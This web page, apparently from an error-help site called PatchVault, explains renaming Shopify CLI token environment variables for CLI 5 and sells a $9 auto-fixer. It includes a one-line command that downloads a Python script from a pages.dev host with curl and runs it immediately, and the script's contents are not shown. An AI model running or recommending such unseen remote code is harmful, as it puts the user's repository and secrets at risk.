PatchVault › Errors › Shopify CLI 5 migration

SHOPIFY_CLI_PARTNERS_TOKEN

Shopify CLI 5.0 deprecates SHOPIFY_CLI_PARTNERS_TOKEN and SHOPIFY_APP_AUTOMATION_TOKEN in favour of SHOPIFY_SERVICE_ACCOUNT_TOKEN.

Check your code free (runs in your browser)

The box is pre-filled with a sample that triggers this error. Paste your own file to check it. Nothing leaves this page.

Or scan your whole repo locally (free, stdlib Python, read-only):

python3 <(curl -fsSL https://patchvault-81y.pages.dev/starters/shopify-cli-scan.py) .
Get the Shopify CLI 5 migration auto-fixer: $9 one-time

Why it happens

The old variables still work but are deprecated. The CLI rejects environments that set the new variable alongside either old one, so a half-migrated CI config fails.

Manual fix

# CI: rename, keep the same token value, and unset the old names
unset SHOPIFY_CLI_PARTNERS_TOKEN SHOPIFY_APP_AUTOMATION_TOKEN
export SHOPIFY_SERVICE_ACCOUNT_TOKEN="$TOKEN"
shopify app deploy --force

Verify

Re-run your install/build and re-scan the file above. The finding should be gone. The paid fixer applies the same change across a repo: --dry-run shows the diff, --apply keeps a .bak of each file, and --rollback restores them.

Sources

Related errors

Full guide and free terminal scanner: Shopify CLI 5 migration. Last checked 2026-10-31.